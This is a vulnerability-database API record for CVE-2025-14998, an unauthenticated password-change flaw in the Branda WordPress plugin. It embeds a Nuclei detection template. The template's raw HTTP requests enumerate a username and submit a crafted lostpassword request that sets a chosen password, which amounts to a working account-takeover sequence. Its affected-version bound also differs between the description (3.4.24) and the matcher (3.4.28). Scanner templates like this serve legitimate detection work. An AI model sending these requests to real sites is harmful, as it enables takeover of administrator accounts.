{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-14998/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-14998/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-14998/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-14998/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-14998/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-14998/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-14998"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-14998"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-14998.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-14998\n\ninfo:\n  name: Branda WordPress plugin - Privilege Escalation\n  author: theamanrawat\n  severity: critical\n  description: |\n    Branda WordPress plugin <= 3.4.24 contains a privilege escalation caused by improper user identity validation in password update functionality, letting unauthenticated attackers change arbitrary user passwords, including administrators, exploit requires crafted request.\n  impact: |\n    Unauthenticated attackers can change any user's password, including administrators, leading to full account takeover and privilege escalation.\n  remediation: |\n    Update to a version later than 3.4.24 or the latest available version.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-14998\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-14998\n    epss-score: 0.01873\n    epss-percentile: 0.79453\n    cwe-id: CWE-639\n  metadata:\n    verified: true\n    max-request: 7\n  tags: cve,cve2025,wordpress,wp-plugin,branda,intrusive,vkev\n\nvariables:\n  rp_token: \"{{rand_text_alphanumeric(20)}}\"\n  rp_control: \"{{rand_text_alphanumeric(20)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/branda-white-labeling/readme.txt\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Branda\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - \"(?i)Stable tag: ([0-9.]+)\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?rest_route=/wp/v2/users&per_page=1\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 && contains(body, \"\\\"slug\\\"\")'\n        internal: true\n\n    extractors:\n      - type: json\n        name: wp_user\n        part: body\n        json:\n          - \".[0].slug\"\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-login.php?action=lostpassword HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        user_login={{wp_user}}&redirect_to=&password_1={{rp_token}}&wp-submit=Get+New+Password\n\n      - |\n        GET /wp-login.php?action=rp&key={{rp_control}}&login={{wp_user}} HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /wp-login.php?action=rp HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /wp-login.php?action=rp&key={{rp_token}}&login={{wp_user}} HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /wp-login.php?action=rp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(header_3, \"invalidkey\") || contains(header_3, \"expiredkey\")'\n          - 'status_code_5 == 200'\n          - 'contains(body_5, \"resetpassform\") || contains(body_5, \"rp_key\")'\n          - '!contains(body_5, \"invalidkey\")'\n          - 'compare_versions(version, \"<= 3.4.28\")'\n        condition: and\n# digest: 4b0a00483046022100ba53e81b5de9f8e55e76ac5338520c39be1e9d0eaa017fb5e8d235d1e351f0fe02210087cf056b59bede9e9e3295b2adc9a34e12d401cf2c96b331ae9a4e8761d1685c:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-14998"}